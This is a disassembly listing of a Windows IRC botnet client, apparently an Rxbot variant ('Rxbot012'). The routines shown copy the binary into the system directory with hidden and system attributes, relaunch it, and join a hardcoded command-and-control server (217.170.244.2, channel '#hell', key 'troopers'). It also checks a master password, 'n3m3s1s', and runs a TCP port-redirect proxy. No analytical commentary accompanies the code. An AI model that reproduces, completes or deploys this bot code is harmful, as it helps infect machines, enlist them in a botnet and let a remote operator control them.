loc_40F996:				; CODE XREF: sub_409806+61A8j
		push	ebx
		push	off_42FDB4[edi]
		call	sub_413FBC
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40F9E9
		add	edi, 4
		cmp	edi, 4
		jb	short loc_40F996
		push	ebx
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_405CD5
		lea	eax, [ebp+var_F0]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_405CD5
		push	ebx
		push	esi
		push	offset aMainFailedHost ; "[MAIN]: *Failed host auth by:	(%s!%s)."
		jmp	short loc_40F980
; ---------------------------------------------------------------------------


loc_40F9E9:				; CODE XREF: sub_409806+61A0j
		mov	edx, [ebp+arg_18]
		xor	eax, eax


loc_40F9EE:				; CODE XREF: sub_409806+622Aj
		cmp	byte ptr [edx],	0
		jnz	short loc_40FA26
		mov	edi, [ebp+var_8]
		mov	esi, offset aN3m3s1s ; "n3m3s1s"


loc_40F9FB:				; CODE XREF: sub_409806+6211j
		mov	bl, [esi]
		mov	cl, bl
		cmp	bl, [edi]
		jnz	short loc_40FA1D
		test	cl, cl
		jz	short loc_40FA19
		mov	bl, [esi+1]
		mov	cl, bl
		cmp	bl, [edi+1]
		jnz	short loc_40FA1D
		inc	esi
		inc	esi
		inc	edi
		inc	edi
		test	cl, cl
		jnz	short loc_40F9FB


loc_40FA19:				; CODE XREF: sub_409806+61FFj
		xor	ecx, ecx
		jmp	short loc_40FA22
; ---------------------------------------------------------------------------


loc_40FA1D:				; CODE XREF: sub_409806+61FBj
					; sub_409806+6209j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_40FA22:				; CODE XREF: sub_409806+6215j
		test	ecx, ecx
		jz	short loc_40FA37


loc_40FA26:				; CODE XREF: sub_409806+61EBj
		inc	eax
		add	edx, 80h
		cmp	eax, 2
		jl	short loc_40F9EE
		jmp	loc_409A84
; ---------------------------------------------------------------------------


loc_40FA37:				; CODE XREF: sub_409806+621Ej
		shl	eax, 7
		add	eax, [ebp+arg_18]
		push	7Fh
		lea	ecx, [ebp+var_8DC]
		push	ecx
		push	eax
		call	sub_4169C0
		add	esp, 0Ch
		cmp	[ebp+var_C], 0
		jnz	short loc_40FA70
		push	0
		push	[ebp+var_4]
		push	offset aMainPasswordAc ; "[MAIN]: Password accepted."
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405D20
		add	esp, 14h


loc_40FA70:				; CODE XREF: sub_409806+624Dj
		lea	eax, [ebp+var_F0]
		push	eax
		push	offset aMainUserSLog_1 ; "[MAIN]: User:	%s logged in."


loc_40FA7C:				; CODE XREF: sub_409806+6F5j
					; sub_409806+5065j ...
		call	sub_401F41
		pop	ecx


loc_40FA82:				; CODE XREF: sub_409806+39B3j
		pop	ecx
		jmp	loc_409A84
; ---------------------------------------------------------------------------


loc_40FA88:				; CODE XREF: sub_409806+1FAj
					; sub_409806+20Dj
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_405CD5
		push	offset aIx	; "+ix"
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_405CD5
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_405CD5
		xor	eax, eax
		add	esp, 2Ch
		inc	eax
		mov	dword_480AC0, eax
		jmp	loc_409A87
sub_409806	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FAD0	proc near		; CODE XREF: .text:004187AFp

var_98C		= byte ptr -98Ch
var_888		= byte ptr -888h
var_887		= byte ptr -887h
var_6F8		= byte ptr -6F8h
var_5F8		= byte ptr -5F8h
var_4F8		= byte ptr -4F8h
var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_1EC		= byte ptr -1ECh
var_E8		= byte ptr -0E8h
var_68		= dword	ptr -68h
var_5C		= dword	ptr -5Ch
var_3C		= dword	ptr -3Ch
var_38		= word ptr -38h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 98Ch
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], offset sub_4034BE
		push	[ebp+var_8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_42201C
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_480AB8, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_41698D
		pop	ecx
		call	sub_4061D5
		push	2
		call	dword_43A374	; SetErrorMode
		push	7530h
		push	offset aRxbot012 ; "Rxbot012"
		push	ebx
		push	ebx
		call	dword_422104	; CreateMutexA
		push	eax
		call	dword_422100	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40FB4F
		push	1
		jmp	loc_40FDAF
; ---------------------------------------------------------------------------


loc_40FB4F:				; CODE XREF: sub_40FAD0+76j
		lea	eax, [ebp+var_888]
		push	eax
		push	202h
		call	dword_43A3AC	; WSAStartup
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	loc_410022
		cmp	[ebp+var_888], 2
		jnz	loc_41001C
		cmp	[ebp+var_887], 2
		jnz	loc_41001C
		mov	esi, 104h
		push	esi
		lea	eax, [ebp+var_3F4]
		push	eax
		call	dword_422048	; GetSystemDirectoryA
		push	esi
		lea	eax, [ebp+var_2F0]
		push	eax
		push	ebx
		call	dword_4220A4	; GetModuleHandleA
		push	eax
		call	dword_42200C	; GetModuleFileNameA
		lea	eax, [ebp+var_5F8]
		push	eax
		lea	eax, [ebp+var_6F8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	eax
		call	sub_41802F
		lea	eax, [ebp+var_5F8]
		push	eax
		lea	eax, [ebp+var_6F8]
		push	eax
		push	offset aSS	; "%s%s"
		lea	eax, [ebp+var_4F8]
		push	esi
		push	eax
		call	sub_416B5D
		lea	eax, [ebp+var_3F4]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4173D0
		add	esp, 30h
		test	eax, eax
		jnz	loc_40FDB5
		cmp	dword_42FCCC, ebx
		mov	esi, offset byte_42FD48
		jz	short loc_40FC57
		mov	eax, esi
		xor	edi, edi
		lea	ecx, [eax+1]


loc_40FC1D:				; CODE XREF: sub_40FAD0+152j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40FC1D
		sub	eax, ecx
		add	eax, 0FFFFFFFAh
		test	eax, eax
		jbe	short loc_40FC57


loc_40FC2D:				; CODE XREF: sub_40FAD0+185j
		call	sub_41699A
		cdq
		push	1Ah
		pop	ecx
		idiv	ecx
		mov	eax, esi
		lea	ecx, [eax+1]
		add	dl, 61h
		mov	byte_42FD48[edi], dl
		inc	edi


loc_40FC47:				; CODE XREF: sub_40FAD0+17Cj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40FC47
		sub	eax, ecx
		add	eax, 0FFFFFFFAh
		cmp	edi, eax
		jb	short loc_40FC2D


loc_40FC57:				; CODE XREF: sub_40FAD0+144j
					; sub_40FAD0+15Bj
		push	esi
		lea	eax, [ebp+var_3F4]
		push	eax
		lea	eax, [ebp+var_1EC]
		push	offset aSS_0	; "%s\\%s"
		push	eax
		call	sub_416905
		add	esp, 10h
		lea	eax, [ebp+var_1EC]
		push	eax
		call	dword_4220A0	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40FC97
		push	80h
		lea	eax, [ebp+var_1EC]
		push	eax
		call	dword_4220CC	; SetFileAttributesA


loc_40FC97:				; CODE XREF: sub_40FAD0+1B3j
		mov	esi, dword_422000
		push	7D0h
		call	esi	; Sleep
		mov	edi, dword_4220FC
		mov	[ebp+var_4], ebx
		jmp	short loc_40FCD2
; ---------------------------------------------------------------------------


loc_40FCAF:				; CODE XREF: sub_40FAD0+215j
		call	dword_422004	; RtlGetLastWin32Error
		cmp	[ebp+var_4], ebx
		jnz	short loc_40FCE7
		cmp	eax, 20h
		jz	short loc_40FCC4
		cmp	eax, 5
		jnz	short loc_40FCE7


loc_40FCC4:				; CODE XREF: sub_40FAD0+1EDj
		push	3A98h
		mov	[ebp+var_4], 1
		call	esi	; Sleep


loc_40FCD2:				; CODE XREF: sub_40FAD0+1DDj
		push	ebx
		lea	eax, [ebp+var_1EC]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		call	edi	; CopyFileA
		test	eax, eax
		jz	short loc_40FCAF


loc_40FCE7:				; CODE XREF: sub_40FAD0+1E8j
					; sub_40FAD0+1F2j
		lea	eax, [ebp+var_1EC]
		push	eax
		call	sub_40746E
		pop	ecx
		push	7
		lea	eax, [ebp+var_1EC]
		push	eax
		call	dword_4220CC	; SetFileAttributesA
		xor	eax, eax
		lea	edi, [ebp+var_24]
		stosd
		stosd
		stosd
		stosd
		push	11h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_68]
		rep stosd
		xor	edi, edi
		inc	edi
		mov	[ebp+var_5C], 422B0Ah
		mov	[ebp+var_68], 44h
		mov	[ebp+var_3C], edi
		mov	[ebp+var_38], bx
		call	dword_4220F8	; GetCurrentProcessId
		push	eax
		push	edi
		push	100000h
		call	dword_422078	; OpenProcess
		lea	ecx, [ebp+var_2F0]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		lea	eax, [ebp+var_98C]
		push	offset aSDS	; "%s %d \"%s\""
		push	eax
		call	sub_416905
		add	esp, 14h
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	eax
		push	ebx
		push	28h
		push	edi
		push	ebx
		push	ebx
		lea	eax, [ebp+var_98C]
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		call	dword_422044	; CreateProcessA
		test	eax, eax
		jz	short loc_40FDBB
		push	0C8h
		call	esi	; Sleep
		push	[ebp+var_24]
		mov	esi, dword_42202C
		call	esi	; CloseHandle
		push	[ebp+var_20]
		call	esi	; CloseHandle
		call	dword_43A4BC	; WSACleanup
		push	ebx


loc_40FDAF:				; CODE XREF: sub_40FAD0+7Aj
		call	dword_422040	; ExitProcess


loc_40FDB5:				; CODE XREF: sub_40FAD0+133j
		mov	esi, dword_422000


loc_40FDBB:				; CODE XREF: sub_40FAD0+2BFj
		cmp	dword_481178, 2
		jle	short loc_40FE03
		mov	eax, dword_48117C
		push	dword ptr [eax+4]
		call	sub_416C92
		pop	ecx
		mov	edi, eax
		push	0FFFFFFFFh
		push	edi
		call	dword_422100	; WaitForSingleObject
		push	edi
		call	dword_42202C	; CloseHandle
		mov	eax, dword_48117C
		cmp	[eax+8], ebx
		jz	short loc_40FE03
		push	7D0h
		call	esi	; Sleep
		mov	eax, dword_48117C
		push	dword ptr [eax+8]
		call	dword_4220E4	; DeleteFileA


loc_40FE03:				; CODE XREF: sub_40FAD0+2F2j
					; sub_40FAD0+31Cj
		cmp	dword_42FCD0, ebx
		jz	short loc_40FE20
		cmp	dword_43A508, ebx
		jnz	short loc_40FE20
		lea	eax, [ebp+var_4F8]
		push	eax
		call	sub_40210D
		pop	ecx


loc_40FE20:				; CODE XREF: sub_40FAD0+339j
					; sub_40FAD0+341j
		lea	eax, [ebp+var_E8]
		push	offset aMainBotStarted ; "[MAIN]: Bot started."
		push	eax
		call	sub_416905
		push	ebx
		lea	eax, [ebp+var_E8]
		push	ebx
		push	eax
		call	sub_4136B6
		lea	eax, [ebp+var_E8]
		push	eax
		call	sub_401ECD
		xor	eax, eax
		mov	ecx, 2E0h
		mov	edi, offset dword_47FF38
		rep stosd
		lea	eax, [ebp+var_E8]
		push	offset aSecureSystemSe ; "[SECURE]: System secure monitor active."...
		push	eax
		call	sub_416905
		push	ebx
		lea	eax, [ebp+var_E8]
		push	1Ah
		push	eax
		call	sub_4136B6
		add	esp, 2Ch
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_4118ED
		push	ebx
		push	ebx
		call	dword_422008	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43B254[esi], eax
		jnz	short loc_40FEBC
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_E8]
		push	offset aSecureFailedTo ; "[SECURE]: Failed to start secure thread"...
		push	eax
		call	sub_416905
		add	esp, 0Ch


loc_40FEBC:				; CODE XREF: sub_40FAD0+3CFj
		lea	eax, [ebp+var_E8]
		push	eax
		call	sub_401ECD
		call	sub_41699A
		push	7Fh
		push	offset a217_170_244_2 ;	"217.170.244.2"
		mov	ebx, offset dword_47FDD4
		push	ebx
		mov	dword_480AC4, eax
		call	sub_4169C0
		mov	eax, dword_42FCB0
		push	3Fh
		push	offset aHell	; "#hell"
		mov	edi, offset dword_47FE54
		push	edi
		mov	dword_47FF24, eax
		call	sub_4169C0
		push	3Fh
		push	offset aTroopers ; "troopers"
		mov	esi, offset dword_47FE94
		push	esi
		call	sub_4169C0
		add	esp, 28h
		and	dword_47FF28, 0


loc_40FF1C:				; CODE XREF: sub_40FAD0+4F5j
					; sub_40FAD0+501j ...
		and	[ebp+var_4], 0


loc_40FF20:				; CODE XREF: sub_40FAD0+4ABj
		cmp	dword_43A520, 0
		jnz	short loc_40FF40
		push	0
		lea	eax, [ebp+var_14]
		push	eax
		call	dword_43A318	; InternetGetConnectedState
		test	eax, eax
		jnz	short loc_40FF40
		push	7530h
		jmp	short loc_40FF6E
; ---------------------------------------------------------------------------


loc_40FF40:				; CODE XREF: sub_40FAD0+457j
					; sub_40FAD0+467j
		and	dword_480AC0, 0
		push	offset dword_47FDD0
		call	sub_4096A7
		cmp	eax, 2
		mov	[ebp+var_8], eax
		jz	loc_410017
		cmp	dword_480AC0, 0
		jz	short loc_40FF69
		dec	[ebp+var_4]


loc_40FF69:				; CODE XREF: sub_40FAD0+494j
		push	0BB8h


loc_40FF6E:				; CODE XREF: sub_40FAD0+46Ej
		call	dword_422000	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3
		jl	short loc_40FF20
		cmp	[ebp+var_8], 2
		jz	loc_410017
		cmp	[ebp+var_C], 0
		jz	short loc_40FFCA
		push	7Fh
		push	offset a217_170_244_2 ;	"217.170.244.2"
		push	ebx
		call	sub_4169C0
		mov	eax, dword_42FCB0
		push	3Fh
		push	offset aHell	; "#hell"
		push	edi
		mov	dword_47FF24, eax
		call	sub_4169C0
		push	3Fh
		push	offset aTroopers ; "troopers"
		push	esi
		call	sub_4169C0
		add	esp, 24h
		and	[ebp+var_C], 0
		jmp	loc_40FF1C
; ---------------------------------------------------------------------------


loc_40FFCA:				; CODE XREF: sub_40FAD0+4BBj
		cmp	byte_42FD28, 0
		jz	loc_40FF1C
		push	7Fh
		push	offset byte_42FD28
		push	ebx
		call	sub_4169C0
		mov	eax, dword_42FCB4
		push	3Fh
		push	offset dword_42FD34
		push	edi
		mov	dword_47FF24, eax
		call	sub_4169C0
		push	3Fh
		push	offset aTroopers_0 ; "troopers"
		push	esi
		call	sub_4169C0
		add	esp, 24h
		mov	[ebp+var_C], 1
		jmp	loc_40FF1C
; ---------------------------------------------------------------------------


loc_410017:				; CODE XREF: sub_40FAD0+487j
					; sub_40FAD0+4B1j
		call	sub_413827


loc_41001C:				; CODE XREF: sub_40FAD0+A3j
					; sub_40FAD0+B0j
		call	dword_43A4BC	; WSACleanup


loc_410022:				; CODE XREF: sub_40FAD0+96j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_40FAD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41002B	proc near		; DATA XREF: sub_4100C6+12Co

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_416B20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	ebx, 1000h
		jmp	short loc_410080
; ---------------------------------------------------------------------------


loc_410065:				; CODE XREF: sub_41002B+7Bj
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_43B24C[esi]
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4100A8


loc_410080:				; CODE XREF: sub_41002B+38j
		xor	eax, eax
		push	eax
		lea	edi, [ebp+var_1128]
		mov	ecx, 400h
		rep stosd
		push	ebx
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_43B250[esi]
		call	dword_43A304	; recv
		test	eax, eax
		jg	short loc_410065


loc_4100A8:				; CODE XREF: sub_41002B+53j
		push	dword_43B250[esi]
		call	dword_43A4B0	; closesocket
		push	[ebp+var_14]
		call	sub_41397A
		pop	ecx
		push	0
		call	dword_422010	; ExitThread
		int	3		; Trap to Debugger
sub_41002B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4100C6	proc near		; DATA XREF: sub_4102A3+118o

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_416B20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_144]
		rep movsd
		mov	esi, [ebp+var_30]
		xor	ecx, ecx
		inc	ecx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		mov	[ebp+var_4], esi
		call	dword_43A39C	; socket
		xor	ebx, ebx
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_410225
		push	[ebp+var_3C]
		xor	eax, eax
		lea	edi, [ebp+var_18]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+var_18], 2
		call	dword_43A4F4	; ntohs
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_43A414	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_41014E
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_43A400	; gethostbyname
		jmp	short loc_41015C
; ---------------------------------------------------------------------------


loc_41014E:				; CODE XREF: sub_4100C6+77j
		push	2
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_43A494	; gethostbyaddr


loc_41015C:				; CODE XREF: sub_4100C6+86j
		cmp	eax, ebx
		jz	loc_410225
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		push	10h
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A34C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_410225
		push	[ebp+var_34]
		movzx	eax, [ebp+var_16]
		push	eax
		push	[ebp+var_14]
		mov	[ebp+var_20], ebx
		call	dword_43A420	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_344]
		push	offset aRedirectClient ; "[REDIRECT]: Client connection	to IP: %s"...
		push	eax
		call	sub_416905
		push	[ebp+arg_0]
		lea	eax, [ebp+var_344]
		push	11h
		push	eax
		call	sub_4136B6
		imul	esi, 234h
		mov	ecx, [ebp+var_34]
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	dword_43B244[eax], ecx
		add	esp, 20h
		lea	esi, dword_43B24C[esi]
		mov	ecx, [esi]
		mov	dword_43B250[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_144]
		push	eax
		push	offset sub_41002B
		push	ebx
		push	ebx
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43B254[ecx], eax
		jnz	short loc_41025B
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aRedirectFail_0 ; "[REDIRECT]: Failed to	start connection "...
		call	sub_401F41
		pop	ecx
		pop	ecx


loc_410225:				; CODE XREF: sub_4100C6+42j
					; sub_4100C6+98j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_43B24C[eax]
		call	dword_43A4B0	; closesocket
		push	[ebp+arg_0]
		call	dword_43A4B0	; closesocket
		push	[ebp+var_4]
		call	sub_41397A
		pop	ecx
		push	ebx
		call	dword_422010	; ExitThread


loc_410253:				; CODE XREF: sub_4100C6+198j
		push	32h
		call	dword_422000	; Sleep


loc_41025B:				; CODE XREF: sub_4100C6+14Aj
		cmp	[ebp+var_20], ebx
		jz	short loc_410253
		jmp	short loc_410279
; ---------------------------------------------------------------------------


loc_410262:				; CODE XREF: sub_4100C6+1D9j
		push	ebx
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410225


loc_410279:				; CODE XREF: sub_4100C6+19Aj
		xor	eax, eax
		push	ebx
		lea	edi, [ebp+var_1344]
		mov	ecx, 400h
		rep stosd
		push	1000h
		lea	eax, [ebp+var_1344]
		push	eax
		push	dword ptr [esi]
		call	dword_43A304	; recv
		cmp	eax, ebx
		jg	short loc_410262
		jmp	short loc_410225
sub_4100C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4102A3	proc near		; DATA XREF: sub_409806+2A78o

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	4Ah
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	[ebp+var_40]
		xor	esi, esi
		inc	esi
		mov	[eax+120h], esi
		xor	eax, eax
		lea	edi, [ebp+var_10]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+var_10], 2
		call	dword_43A4F4	; ntohs
		push	6
		push	esi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], ebx
		mov	[ebp+arg_0], 10h
		call	dword_43A39C	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_410402
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	esi
		push	401h
		push	ebx
		push	edi
		mov	dword_43B24C[eax], edi
		call	dword_43A42C	; WSAAsyncSelect
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	edi
		call	dword_43A47C	; bind
		test	eax, eax
		jnz	loc_410402
		push	0Ah
		push	edi
		call	dword_43A4C8	; listen
		test	eax, eax
		jnz	loc_410402


loc_410349:				; CODE XREF: sub_4102A3+BAj
					; sub_4102A3+15Aj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43A35C	; accept
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_410349
		push	[ebp+var_3C]
		movzx	eax, [ebp+var_22]
		push	eax
		push	[ebp+var_20]
		mov	[ebp+var_148], esi
		mov	[ebp+var_2C], ebx
		call	dword_43A420	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset aRedirectClie_0 ; "[REDIRECT]: Client connection	from IP: "...
		push	eax
		call	sub_416905
		push	esi
		lea	eax, [ebp+var_34C]
		push	11h
		push	eax
		call	sub_4136B6
		mov	ecx, [ebp+var_3C]
		mov	[ebp+var_38], eax
		imul	eax, 234h
		add	esp, 20h
		mov	dword_43B244[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		lea	eax, [ebp+var_14C]
		push	eax
		push	offset sub_4100C6
		push	ebx
		push	ebx
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43B254[ecx], eax
		jnz	short loc_4103F8
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aRedirectFail_1 ; "[REDIRECT]: Failed to	start client thre"...
		call	sub_401F41
		pop	ecx
		pop	ecx
		jmp	short loc_410405
; ---------------------------------------------------------------------------


loc_4103F0:				; CODE XREF: sub_4102A3+158j
		push	32h
		call	dword_422000	; Sleep


loc_4103F8:				; CODE XREF: sub_4102A3+136j
		cmp	[ebp+var_2C], ebx
		jz	short loc_4103F0
		jmp	loc_410349
; ---------------------------------------------------------------------------


loc_410402:				; CODE XREF: sub_4102A3+5Dj
					; sub_4102A3+8Fj ...
		mov	esi, [ebp+arg_0]


loc_410405:				; CODE XREF: sub_4102A3+14Bj
		push	esi
		call	dword_43A4B0	; closesocket
		push	edi
		call	dword_43A4B0	; closesocket
		push	[ebp+var_3C]
		call	sub_41397A
		pop	ecx
		push	ebx
		call	dword_422010	; ExitThread
		int	3		; Trap to Debugger
sub_4102A3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_410424	proc near		; CODE XREF: sub_410454+30p
					; sub_410492+85p ...
		mov	eax, dword_480AD4
		cmp	eax, 0FFFFFFFFh
		push	esi
		mov	esi, dword_42202C
		jz	short loc_410438
		push	eax
		call	esi	; CloseHandle


loc_410438:				; CODE XREF: sub_410424+Fj
		mov	eax, dword_480AD0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410445
		push	eax
		call	esi	; CloseHandle


loc_410445:				; CODE XREF: sub_410424+1Cj
		mov	eax, dword_480B0C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410452
		push	eax
		call	esi	; CloseHandle


loc_410452:				; CODE XREF: sub_410424+29j
		pop	esi
		retn
sub_410424	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410454	proc near		; CODE XREF: sub_409806+3D9Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	edx, [eax+1]


loc_41045E:				; CODE XREF: sub_410454+Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_41045E
		push	0
		lea	ecx, [ebp+var_4]
		push	ecx
		sub	eax, edx
		push	eax
		push	[ebp+arg_0]
		mov	[ebp+var_4], eax
		push	dword_480AC8
		call	dword_422030	; WriteFile
		test	eax, eax
		jnz	short loc_41048D
		call	sub_410424
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41048D:				; CODE XREF: sub_410454+2Ej
		xor	eax, eax
		inc	eax
		leave
		retn
sub_410454	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410492	proc near		; CODE XREF: sub_410520+D9p
					; sub_410520+11Fp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ecx, ecx
		push	edi
		inc	ecx
		mov	edi, 422B0Ah
		xor	eax, eax
		repe cmpsb
		pop	edi
		pop	esi
		jz	short loc_4104D7
		push	0FAh
		call	dword_422000	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_416905
		add	esp, 10h
		jmp	short loc_4104EE
; ---------------------------------------------------------------------------


loc_4104D7:				; CODE XREF: sub_410492+1Cj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_3	; "%s"
		push	eax
		call	sub_416905
		add	esp, 0Ch


loc_4104EE:				; CODE XREF: sub_410492+43j
		lea	eax, [ebp+var_200]
		lea	edx, [eax+1]


loc_4104F7:				; CODE XREF: sub_410492+6Aj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4104F7
		push	0
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A438	; send
		test	eax, eax
		jg	short loc_41051C
		call	sub_410424


loc_41051C:				; CODE XREF: sub_410492+83j
		xor	eax, eax
		leave
		retn
sub_410492	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


